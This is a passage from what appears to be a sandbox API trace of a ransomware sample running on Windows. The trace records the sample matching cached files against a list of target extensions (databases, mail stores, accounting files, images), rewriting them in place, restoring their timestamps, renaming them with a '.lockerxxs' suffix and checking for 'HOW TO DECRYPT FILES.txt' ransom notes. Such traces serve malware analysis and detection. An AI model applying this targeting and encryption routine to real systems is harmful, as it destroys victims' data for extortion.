HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" [0083.911] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png." [0083.911] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.lockerxxs" [0083.911] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.912] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x19e [0083.912] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x4580a770, dwHighDateTime=0x1d2faf3), lpLastAccessTime=0x407536*(dwLowDateTime=0x4580a770, dwHighDateTime=0x1d2faf3), lpLastWriteTime=0x40753e*(dwLowDateTime=0x4580a770, dwHighDateTime=0x1d2faf3)) returned 1 [0083.912] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.912] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x178, lpOverlapped=0x0) returned 1 [0083.914] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png") returned="AAa1vhm[1].png" [0083.914] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.914] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x178, lpOverlapped=0x0) returned 1 [0083.914] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.914] CloseHandle (hObject=0xa4) returned 1 [0083.915] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1vhm[1].png.lockerxxs")) returned 1 [0083.916] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x53846310, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x53846310, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x53846310, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x2c1, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAa1xJF[1].png", cAlternateFileName="AAA1XJ~1.PNG")) returned 1 [0083.916] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.916] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAa1xJF[1].png") returned 1 [0083.916] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAa1xJF[1].png") returned 1 [0083.916] lstrcmpiA (lpString1="", lpString2="AAa1xJF[1].png") returned -1 [0083.916] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1vhm[1].png") returned="AAa1vhm[1].png" [0083.916] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.916] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.916] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.916] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.916] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AAa1xJF[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" [0083.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.ems") returned 0 [0083.916] lstrlenA (lpString="*.ems") returned 5 [0083.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.db") returned 0 [0083.916] lstrlenA (lpString="*.db") returned 4 [0083.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.dbf") returned 0 [0083.916] lstrlenA (lpString="*.dbf") returned 5 [0083.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.myox") returned 0 [0083.916] lstrlenA (lpString="*.myox") returned 6 [0083.916] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.myo") returned 0 [0083.917] lstrlenA (lpString="*.myo") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbw") returned 0 [0083.917] lstrlenA (lpString="*.qbw") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbb") returned 0 [0083.917] lstrlenA (lpString="*.qbb") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbm") returned 0 [0083.917] lstrlenA (lpString="*.qbm") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbo") returned 0 [0083.917] lstrlenA (lpString="*.qbo") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbx") returned 0 [0083.917] lstrlenA (lpString="*.qbx") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qba") returned 0 [0083.917] lstrlenA (lpString="*.qba") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qby") returned 0 [0083.917] lstrlenA (lpString="*.qby") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qbj") returned 0 [0083.917] lstrlenA (lpString="*.qbj") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.ofx") returned 0 [0083.917] lstrlenA (lpString="*.ofx") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.qif") returned 0 [0083.917] lstrlenA (lpString="*.qif") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.mye") returned 0 [0083.917] lstrlenA (lpString="*.mye") returned 5 [0083.917] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.mbox") returned 0 [0083.917] lstrlenA (lpString="*.mbox") returned 6 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.eml") returned 0 [0083.918] lstrlenA (lpString="*.eml") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.pst") returned 0 [0083.918] lstrlenA (lpString="*.pst") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.ost") returned 0 [0083.918] lstrlenA (lpString="*.ost") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.idx") returned 0 [0083.918] lstrlenA (lpString="*.idx") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.dbx") returned 0 [0083.918] lstrlenA (lpString="*.dbx") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.sql") returned 0 [0083.918] lstrlenA (lpString="*.sql") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.mdb") returned 0 [0083.918] lstrlenA (lpString="*.mdb") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.fdb") returned 0 [0083.918] lstrlenA (lpString="*.fdb") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.wab") returned 0 [0083.918] lstrlenA (lpString="*.wab") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.dat") returned 0 [0083.918] lstrlenA (lpString="*.dat") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.txt") returned 0 [0083.918] lstrlenA (lpString="*.txt") returned 5 [0083.918] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.jpeg") returned 0 [0083.918] lstrlenA (lpString="*.jpeg") returned 6 [0083.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.jpg") returned 0 [0083.919] lstrlenA (lpString="*.jpg") returned 5 [0083.919] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", pszSpec="*.png") returned 1 [0083.919] lstrlenA (lpString="*.png") returned 5 [0083.919] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" [0083.919] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" [0083.919] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png." [0083.919] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.lockerxxs" [0083.919] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xa4 [0083.920] GetFileSize (in: hFile=0xa4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2c1 [0083.920] GetFileTime (in: hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e), lpLastAccessTime=0x407536*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e), lpLastWriteTime=0x40753e*(dwLowDateTime=0x53846310, dwHighDateTime=0x1d2dd9e)) returned 1 [0083.920] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.920] ReadFile (in: hFile=0xa4, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x29b, lpOverlapped=0x0) returned 1 [0083.921] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png") returned="AAa1xJF[1].png" [0083.921] SetFilePointer (in: hFile=0xa4, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0083.922] WriteFile (in: hFile=0xa4, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x29b, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x29b, lpOverlapped=0x0) returned 1 [0083.922] SetFileTime (hFile=0xa4, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0083.922] CloseHandle (hObject=0xa4) returned 1 [0083.922] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\aaa1xjf[1].png.lockerxxs")) returned 1 [0083.923] FindNextFileA (in: hFindFile=0x502758, lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5159c2b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x5159c2b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x5159c2b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x7b8, dwReserved0=0x18000018, dwReserved1=0x4f9018, cFileName="AAlG41q[1].jpg", cAlternateFileName="AALG41~1.JPG")) returned 1 [0083.923] PeekMessageA (in: lpMsg=0x18f0f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f0f4) returned 0 [0083.923] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AAlG41q[1].jpg") returned 1 [0083.923] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AAlG41q[1].jpg") returned 1 [0083.923] lstrcmpiA (lpString1="", lpString2="AAlG41q[1].jpg") returned -1 [0083.923] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAa1xJF[1].png") returned="AAa1xJF[1].png" [0083.923] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" [0083.923] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\") returned="" [0083.923] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" [0083.923] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\yg1r61z8\\how to decrypt files.txt")) returned 0x2020 [0083.923] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\", lpString2="AAlG41q[1].jpg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg" [0083.923] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\YG1R61Z8\\AAlG41q[1].jpg", pszSpec="*.ems") returned 0 [0083.924] 